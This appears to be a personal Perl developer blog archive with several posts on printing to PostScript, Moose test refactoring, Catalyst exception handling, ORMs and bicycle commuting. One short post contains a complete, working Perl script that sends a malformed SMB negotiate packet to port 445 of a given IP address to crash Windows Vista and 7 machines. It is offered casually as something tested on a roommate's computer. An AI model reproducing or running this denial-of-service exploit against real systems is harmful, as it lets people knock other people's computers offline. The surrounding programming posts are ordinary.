A Foolish Manifesto

fREWdiculous!

Archive for the ‘Uncategorized’ Category

Perl, PostScript, PDF, Printing, and Money

I’ve been pretty busy/distracted lately. Normally I try to post 3 times a week about the cool things that I’m doing, but I haven’t this week because what I am doing isn’t that cool!

Basically I started working on the printing subsection of our app at work and it’s not looking like a lot of fun. First let me explain what makes it different than anything we’ve done before. In normal web dev you have the server generate html or maybe a pdf, send that to the user and let them print it. You might do some js to invoke the print dialogue, but beside that your work is done. Unfortunately the situation we are in now is that the users do something with the web app and the server prints out some stuff on a predefined printer. This will either happen immediately or via a cron-job, but either way it means we have to interact with printers much more directly than we normally do.

Now printing to a printer is actually not as hard as I thought it would be. We are on a windows system, and the way to do it in windows is basically as follows:

1
2
3
4
use strict;
use warnings;
use File::Copy;
copy 'file_to_print.ps', '\\\\printserver\\printer';

Done! That works just fine. The problem is that postscript is (as far as I can tell) no fun and pretty complicated. Of course going from a pdf to postscript is pretty easy using Ghostscript, so basically what it looks like is we should generate a pdf or a postscript file. I looked at using LaTeX a little bit but a 600 megabyte package really seems like overkill. And even then I don’t know LaTeX beyond math stuff I did in college. The perl offerings are good, but I am just out of my depth here. Here are the modules I looked at:

  • PDF::API2 – Very Complete, but I’d need to know how PDF’s work to use this
  • PDF::ReportWriter – Good, but I don’t know if I have enough control. And I’ll still need to learn a ton of XML directives.
  • PDF::Template – Pretty much the same as above
  • PDF::FromHTML – Again, this (and others like it) are alright, but there are just too many things that I may not be able to do that our layout requires.

I tend to be a fan of doing a lot of stuff in house, mostly because I love to learn and I tend to find the fun parts in things. But this is one of the times when my boss mentioned that we could pay someone else to do this that I am totally behind it. Even if I learned all of the stuff I’d need to know to do this myself, it would still take forever.

So here is my plan. I’d like to solicit people from the Perl community for some contract work. We currently have these printouts defined in terms of VB6 Data Designer … things. I would like to give someone a couple of the definitions, along with example printouts (scans), and screenshots. Conversion to PDF or PS are both fine. I was thinking that we’d use TT to fill in various parts of the new template. If the programmer does something like code in the PS or PDF to loop over data defined in the file, that’s ok, as long as it’s well commented as none of us know PDF or PS. Also if the coder does it in pure perl with one of the libraries above (except probably FromHTML) I’m fine with that, as I think they are all pretty quality modules. My ultimate goal is to make a conversion tool for the other 32 reports we’ll need printed out. If the programmer gets that started that would be awesome. I’m not at work right now, so I can’t post the examples, but I will post a couple links to examples tomorrow to the Catalyst ML along with contact information. I think the people who use Catalyst tend to be good coders. (I’m also going to email a few people I’ve met in person directly.) If you are interested, I will probably have posted everything by 2PM Central Time, so check the ML Archives then.

I hope to hear from you!

  • 6 Comments
  • Filed under: Uncategorized
  • My New Hammers

    For the past 6 months or so I’ve been doing a lot more design and a lot less coding (due to design and a few other things) and it’s interesting to me what the results have been.

    I remember when I got excited by grokking the concepts behind map and reduce. Don’t get me wrong, I am most happy with map and reduce, but to me they are great ways to be terse and clear. (Also fewer intermediate variables etc.) You use them when you build code but you don’t make large systems with them (yeah we could be talking about something more macro like MapReduce, but bear with me here.)

    After getting comfortable with those I took the next logical step (in my mind) which was to start doing more functional programming. That was a huge step. When I first started doing that (dispatch tables) it was so that I could react appropriately to a fairly complex search without resorting to large, overly complex and opaque if blocks. I didn’t know that what I was doing even had a name, so I just called it a hash of anonymous subroutines. I knew that I didn’t come up with it as my boss had used one in the past in C land on a piece of hardware.

    Awesome. It was about at this time that a coworker and I (Maestro to those from #moose) wrote the first Priority ordering system. Our first try wasn’t bad! I’ll explain the problem so that you can understand why we did what we did etc. Imagine that you work at FooBar Corporation. At FBC you go through bugs in a bugtracker and keep programmers on the ball. Unfortunately FBC can’t afford just anyone, so they tend to just get people who will start at the top and go down. Well, my company made a tool for FBC which would accurately prioritize the bugs in the tracker. (Note that it’s not really a bug tracker, I’m just trying to speak our language.)

    For our first tracker my coworker made a special function which would take a single ticket and correlate all related issues (a ticket has many issues, it is not an issue.) We then iterated over the issues and depending on type of issue and the data inside the issue we would divide the priority if the data means good, or multiply if it means bad. Because we wanted a real scale of 1-10 and not 1-∞, we initialized the number with a log and then only multiplied by numbers between 1 and 0. Those are just details. It worked is the point. The code was kind of messy though, and we ended up doing some special casing in the driver for the dispatch table, which is a drag.

    Fast forward 8 months. I’ve gotten much better at OO programming thanks to ExtJS and DBIx::Class and a little better at architecture thanks to Catalyst. I’ve also gotten much nicer syntax and features for Perl 5 OO from Moose, which makes writing and understanding OO Perl 5 code much nicer.

    The same coworker and I work together again to write another priority system. This is because our initial try really wasn’t reusable, even though we tried for it to be. So this time we decide (after some implementation effort and discussion) to go with a triune system. Two-thirds of this was obvious to us and the third part was inspired by Catalyst. Here are (from memory) our three parts:

    • Prioritizes Role
      • requires good dispatch table
      • requires bad dispatch table
      • requires Context instantiation method
      • requires apply method which knows how to apply the Context to the given dispatch table
      • provides generic dispatch driver and framework
    • consumer of Prioritizes
    • Priority::Context object
      • has priority and related methods
      • has a stash (thanks again catalyst) of random data that comes from the controller for use in the dispatch table methods

    Now at first this system wasn’t clearly better than what we had before except that it was easily reusable. There aren’t a lot of places I could see reusing it, but once it’s written well it isn’t too unreasonable to start putting it in other projects just to add value… But then something happened that made all of our work worthwhile. Our customer wanted a certain “issue” to yeild a priority with a minimum of five, no matter what (they have a good reason, but the analogy can’t handle it, so you have to trust me.) With our original system we’d be forced to do some stuff after the dispatch table had been exhauseted. Now all we did was add a priority_minimum method to the Context, and then we added a trigger to priority which would ensure that the priority never dipped below priority_minimum. That alone made the whole design so much more elegant.

  • 0 Comments
  • Filed under: Uncategorized
  • Have you heard? You can crash Vista and Windows 7 really easily with the following super basic code! (Tested 3x on roomies computer)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #!perl

    my $ip = shift or die 'Please pass the IP Address to crash as a parameter to this program';

    use IO::All;
    my $io = io("$ip:445");

    my $foo =
    "\x00\x00\x00\x90". # Begin SMB header: Session message
    "\xff\x53\x4d\x42". # Server Component: SMB
    "\x72\x00\x00\x00". # Negociate Protocol
    "\x00\x18\x53\xc8". # Operation 0x18 & sub 0xc853
    "\x00\x23".         # Process ID High: --> :) normal value should be "\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe".
    "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54".
    "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31".
    "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00".
    "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57".
    "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61".
    "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c".
    "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c".
    "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e".
    "\x30\x30\x32\x00";

    $io->print($foo);

    See details Here!

  • 3 Comments
  • Filed under: Uncategorized
  • Moose Test Refactoring

    I’ve taken care of a significant portion of the refactoring that I’m doing to disable meta-tests for the Moose test suite. I’ve done all the tests up until the 100 series (which are examples.) The following is an example of how it’s done:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    #!/usr/bin/perl

    use strict;
    use warnings;

    use lib 't/lib';

    use Test::More tests => 23;
    use Test::Exception;

    use MetaTest;

    {
        package Foo;
        use Moose;
        use Moose::Util::TypeConstraints;
    }

    skip_meta {
       can_ok('Foo', 'meta');
       isa_ok(Foo->meta, 'Moose::Meta::Class');
    } 2;


    meta_can_ok('Foo', 'meta', '... we got the &meta method');
    ok(Foo->isa('Moose::Object'), '... Foo is automagically a Moose::Object');

    skip_meta {
       dies_ok {
          Foo->meta->has_method()
       } '... has_method requires an arg';

       dies_ok {
          Foo->meta->has_method('')
       } '... has_method requires an arg';
    } 2;
    can_ok('Foo', 'does');

    skip_meta {
       foreach my $function (qw(
                                extends
                                has
                                before after around
                                blessed confess
                                type subtype as where
                                coerce from via
                                find_type_constraint
                                )) {
           ok(!Foo->meta->has_method($function), '... the meta does not treat "' . $function . '" as a method');
       }
    } 15;

    Typically there will be some skip_meta blocks scattered throughout a test. As it stands the skip_meta (and skip_all_meta variant) will skip if the SKIP_META_TESTS environment variable is set. As I said before, if people want to change that it’s only defined in one place so we can change how it’s done fairly easily.

    There are a few places I’m not sure I need to skip yet, like things in the Moose::*::Meta namespace. But I know for sure to skip the ->meta stuff, so that’s what I’ve been doing. The 100 tests are quite a bit more complex, which is why I haven’t finished any yet. I certainly plan to, and hope to take care of them soon. But in the meantime mst can get started on Antlers as a good amount of the tests should work for him now.

    If anyone wants to help out let me know, and we can make Moose faster sooner!

  • 5 Comments
  • Filed under: Uncategorized
  • Biking To Work

    I’ve waited nearly a work week to make sure I don’t post this prematurely, but it’s been four days now and I’m pretty sure I can say that from now on, in the regular case I’ll be riding my bike to work. There are certainly safety issues, since I live on the outskirts of Dallas, but I’ve done a lot research to make safe choices. I haven’t done everything he says on that site, but mostly that’s because I don’t want to ride on streets instead of sidewalks on big roads.

    Just in case anyone is wondering, here’s the gear I’ve purchased:

    First off, about half of that stuff is for safety. I need a helmet. I want lights so cars see me. The mirror is so I can see cars behind me. The tool, patch kit, and portable pump are just in case I need to fix something in the middle of my commute. I’ve already needed to tighten the handlebars about halfway, and it was pretty great to be able to fix that quickly and easily. I hope not to need to use the patch kit, but surely one day I will. I actually don’t have the bag listed above yet, I currently have a much smaller, much less useful bag, but I already ordered the one above based on reviews at REI. The nice thing about the bag is that all of those essentials I really need are part of the bike, so I don’t have to bring a larger back (bookbag) for those things.

    Here is my current list of things to buy:

    Of those things I am definitely going to buy the seat, as my current one is really, really uncomfortable. That one has a good price with great reviews. The sandals I’m not totally sure about, but I do need to get some real shoes for riding. The computer would be pretty cool to have, but that’s not necessary at all so I’ll probably wait till Christmas for that.

    My plan is to bring work clothes and food on Monday in a backpack and then not have to bring the backpack again till Friday to bring it all back. So far that has worked fairly well. My initial route is pretty much unchanged for going to work, but one of the owners of my company told me about a bike path from Campbell to Renner, which is great for the ride back from work as it means I have way fewer crosswalks to use.

    Interestingly, because of those crosswalks my commute home takes 15 minutes longer than the commute to work. I can get to work in about 30 minutes assuming there isn’t crazy traffic or anything, but the route home takes 45 minutes because of crosswalks or alternate routes.

    If you ride a bike work, what tips do you have for us noobs?

  • 4 Comments
  • Filed under: Uncategorized
  • Exceptions with Perl, what a joy!

    Today at work I had to do some validation that we haven’t yet had to do for my project at work. I’ve always thought that for validations exceptions are the way to go. I’ll explain everything I did so you guys can benefit/critique.

    First off, I used Exception::Class to create my exception classes:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    package ACD::Exceptions;

    use strict;
    use warnings;

    use Exception::Class (

       'ACD::Exception::InvalidBinBox' => {
          description => 'Invalid Bin-Box',
          fields => [qw{bin box}],
       },

       'ACD::Exception::UserException' => {
          fields => 'message',
       },

    );

    use Moose::Util::TypeConstraints;

    class_type 'ACD::Exception::InvalidBinBox';
    class_type 'ACD::Exception::UserException';

    no Moose::Util::TypeConstraints;
    1;

    Also note the use of Moose::Util::TypeConstraints; we’ll come back to why I did that in a bit.

    The following code is a method from a DBIx::Class Result class. Nothing too surprising here. It basically creates an exception if someone tries to use a nonexistent bin or a box that the bin doesn’t contain.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    method validate_bin_box {
       my $bin = $self->bin;
       my $box = $self->box;

       my $success = $self->result_source->schema->resultset('BinBox')->single({
          bin     => $bin,
          max_box => { '>=' => $box },
       });

       ACD::Exception::InvalidBinBox->throw( bin => $bin, box => $box  ) unless $success;
    }

    Next up is the Catalyst action which calls this method. This is the first part of the code I’m excited about. I’m using TryCatch for the syntax sugar here. Note that I get to do a catch based on type of exception. This is why I had to use Moose to define the class_type’s above. You’ll also note that I recast the Exception as a “UserException.” I’ll note why next.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    method update_inventory_part($c) : Local :ActionClass('Role::ACL::Simple') :RequiresRole('inventory_write') {
       my $id         = $c->request->params->{id};
       my ($bin,$box) = split /-/, delete $c->request->params->{location};
       my $part       = $c->model('DB::InventoryPart')->find($id);
       try {
          $part->update({
                %{$c->request->params},
                bin => $bin,
                box => $box
          });
       }
       catch (ACD::Exception::InvalidBinBox $e) {
          ACD::Exception::UserException->throw(message => 'Invalid Bin-Box: '.$e->bin.q{ }.$e->box);
       }
       $c->stash->{json} =  { success => 1 };
    }

    And then this is the final (server side) method that wraps it all together. This belongs in the Root controller of our Catalyst app as it takes care of all of our errors. Basically what’s going on here is that if there are errors we want to set a 500. We show the error raw if the server is in debug mode or if it is a user error. There is a small subtlety that there can possibly be more than one error. For simplicity’s sake we show all the errors if we are going to show one of them.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    method end($c) : ActionClass('RenderView') {
       my $errors = scalar @{$c->error};
       if ($errors) {
          $c->response->status(500);
          my $user_error = 0;
          $user_error    = 1
             if (first { ref $_ eq 'ACD::Exception::UserException'} @{$c->error});

          $c->stash->{json} = {
             status => 'fail',
             reason => ( $c->debug || $user_error)
                ? join ';', map { (ref $_ eq 'ACD::Exception::UserException')?$_->message:"$_" } @{$c->error}
                : 'A server error occured.  Contact developers with date and time this occured',
             user_error => $user_error,
          };
          foreach (@{$c->error}) {
             $c->log->error("$_");
          }
          $c->clear_errors;
       }
    }

    I won’t show the javascript right now as it’s messy and most readers of this blog aren’t hardcore Ext users. But basically what happens is that we have a global listener for all connections that fail (aka, don’t return with 200 OK) and I have some special code for various cases. For example, I have an unauthenticated case which allows the user to login (and then it seamlessly retries the query,) I have an unauthorized case if somehow the user tries to do something they are not allowed to do, I have a user error case, which will basically display the error verbatim, and then I have a server error message, which will output the raw exception (or the vanilla message above.)

    The beauty of all this is that now that I’ve written the code sufficiently generically I should only need to do an ACD::Exception::UserException->throw(message=>…) to show the user an error window at any point in the program. Pretty sweet huh?

  • 0 Comments
  • Filed under: Uncategorized
  • On Moose and Speed

    Today the question was asked: “To Moose or Not to Moose?” The article is fairly well written, but it seems to me that the comments are not exactly educated. Here is the main one this is in response to:

    I’d try Mouse too. Unless you’re doing something funky I’d be surprised if it’s more than a 1 letter change to your source code.

    First off, here is a quote from the POD:

    Moose is wonderful. Use Moose instead of Mouse.

    The author recommends not to use Mouse. That’s a big deal to me. Also, enjoy the following quote:

    The original author of this module has mostly stepped down from maintaining Mouse. See http://www.nntp.perl.org/group/perl.moose/2009/04/msg653.html. If you would like to help maintain this module, please get in touch with us.

    He’s also given up on it. Moral of the story, don’t use it.

    Now for the good news!

    Today I started working on mst‘s plan for MX::Antlers, which is a way to use the actual Moose, with the speed of Mouse, without persistence or anything like that. Great for CGI and whatnot.

    Now I’m a little fuzzy on the implementation, but if I understand correctly this will “compile” Moose into a single file. It will not include Class::MOP, so you won’t be able to use ->meta, but generally for basic modules don’t need it, so no big deal really. What I am working on is updating the existing Moose test-suite to disable the tests for ->meta. My current plan is to use an environment variable, but whatever I do it will be a function so that we can change it to some other methodology if we need to.

    So! Get excited! Depending on the code we may be able to abstract it to apply to other heavy frameworks (Catalyst?) to make them sufficiently fast as well. Once I have some basic stuff in the public repo (hopefully a couple before Friday) I’ll put up a post or two explaining how to get the work done, and then we can parallelize the work. Who’s with me?

  • 3 Comments
  • Filed under: Uncategorized
  • So after some experimenting at work I found out what the culprit of my previous post was. I still have no idea why some parts of the code changed, and others didn’t. I imagine that part of that had to do with bad technique (see Scientific Method.) Anyway, it has something to do with the extremely sketchtowne Catalyst::Restarter::Win32. I’m not criticizing Rolsky’s code here, it’s just the nature of using Perl 5 in Windows. Fork is just one of those things that don’t quite work right, so we must resort to hacks.

    I recently contributed a little bit of code to the module to fix a small bug I noticed; it looks like I’ll be contributing more.

    Also, if you don’t believe me, here’s the way to prove it to yourself that at least something is wrong: open up the process manager or whatever it’s called in windows, and watch the processes, sorted by name. Use the restarter and change a file so that it will restart the dev server. Note that a new process (perl.exe) starts, but the old one never goes away. Do this a few times till it becomes obvious. Then kill the server. Note that the other processes never go away. This seems to be something to do with the “totally hack-tastic” _fork_and_start. It never kills the current process? Or something? I need to do more research and playing around. Hopefully I can get it to stop confusing me.

    In other news, if you are on Windows, you probably should not use the Restarter till it gets fixed.

  • 1 Comment
  • Filed under: Uncategorized
  • Turns out there really are Computer Gremlins!

    Ok, this is just too crazy to not record and relate. By now anyone who has read much of my blog or interacted with me should know that I use a significant amount of javascript on my current project at work. Because I like to keep everything nicely organized, 95% of the time each class has it’s own file. That means I have to tell the server every time I add a new class. No big deal really.

    So yesterday I created a new form, and I added it to the list. When I refreshed the page the form failed to load. Well, that could have easily been an error in the syntax or even runtime logic of the form, so I start looking for firebug errors and whatnot and don’t see any. So I look at the debug output of Catalyst::View::JavaScript::Minifier::XS to make sure that it tried to include that file. It didn’t! Ok so clearly I didn’t save the file with the list of JS files. So I ensure that I’ve saved it. Still no luck. So I change another part of the list, a file that is loading, to see if that gets taken out of the list. Maybe I misspelled the filename you know? Nope. List remains the same. Ok, so then this must not be the canonical list. So I change a fundamental part of the list, to see if everything still works after I change that. Nope, now nothing works, showing that this list clearly isn’t nothing.

    Bizarre. So I go home, assuming that I was just tired. Today at work, after working on a bunch of other stuff, I get back to it. So first I output the list itself, to make sure that it’s what I think it is. It is. Then, I open up the code behind Catalyst::View::JavaScript::Minifier::XS. I added some debug stuff where it loads the files and look at the output. Nothing prints out. That’s weird… So I change it from a warn to a $c->log etc. Still no output. So I’m editing the wrong file, obviously. I go to rename the system version of this file so I know it’s using my local copy (I have changes that haven’t been accepted by upstream yet.) Oh wait…it’s already renamed from yesterday…

    So that’s weird. Ok, so I put some debug statements right next to where it already has some debug statements… Lo and behold they output! Ok so clearly I am missing something. I put debug statements before the block where I am already outputing debug statements from: no luck. I put them after. No luck. I change the code so that all the filenames get “frew” added to the end to see if CVJMX will throw an error or even change the output messages. STILL NO CHANGES.

    I should point out that I have checked that I am using my local server and editing local files numerous times by the way.

    Ok, so I am clearly insane at this point, as that’s more likely than file changes being scoped to a 3 line block. On a whim I decide to restart my computer. Start the Catalyst Dev server with the same command (from history) as before, without file changes. Everything worked.

    All I have to say is: jfkasl;fkdasfkojqwklmdcszkljcvsxlkv m,w;ejriopjewiojc4weojejoifevjoirjivoi

  • 4 Comments
  • Filed under: Uncategorized
  • Why should I use an ORM?

    At work I tend to play an…Evangelical role? I tend to experiment with various technologies, get sold on them, and then sell them to coworkers. Examples: Apache, DBIx::Class, CGIApp, and lately Catalyst. So I typically find various ways that the new tool helps make my job easier and tell people about that. After they believe me, I then educate them about various nuances and whatnot of the tool. Eventually this will happen with git, when it doesn’t suck so much with Windows.

    So recently one of my coworkers asked me why he should use an ORM. I had thought I’d mostly fought that battle, but he wasn’t sold (he is now by far :-) ). Anyway, here is my answer, open to the world.

    ORM’s let you forget SQL

    In general this isn’t a huge benefit. SQL is pretty simple and remembering it’s syntax isn’t so bad. But when you want to do something in like paging in SQL Server is when an ORM really starts to shine. In general the ORM makes tasks that you want to do with SQL all the time nice and simple. For example, since we use Ext at work for most grids, users expect to be able to sort by all columns, have pagination, etc. That’s entirely abstracted away. I rarely think about those pedestrian things now :-)

    ORM’s allow you to predefine the relationships between your tables

    This is where a good ORM really shines. Instead of trying to remember seemingly transient relationships, like how the Shop table joins with the Orders table, we can document that by writing code using our ORM. After that the relationship is there forever. It’s an entirely new level of code reuse, if you are used to just vanilla SQL, even if you are reusing it with functions.

    ORM’s give you all the features of OOP

    This is actually a lot more subtle in my mind. When I first started using a ORM for real (DBIx::Class) I kept looking for DBIC ways to do various things. Typically the answer was: “override insert” or “override update.” As a noob this can be pretty intimidating, but it really gives great amounts of flexibility. At some point I’ll do a post on OOP revelations I’ve had (interestingly, mostly I get those from hacking on the code of my ORM of choice :-) ,) but for now I’ll just leave it at that.

    What are the reasons that you use an ORM?

    update: as Stevan notes, I really shouldn’t say all in the final bullet point above. It’s more subtle than that. When I say OOP I don’t actually mean the classes that the ORM represents inherit from each other. I just meant that if I want to do some extra stuff for one class when I store/retrieve it I can localize those changes.

  • 4 Comments
  • Filed under: Uncategorized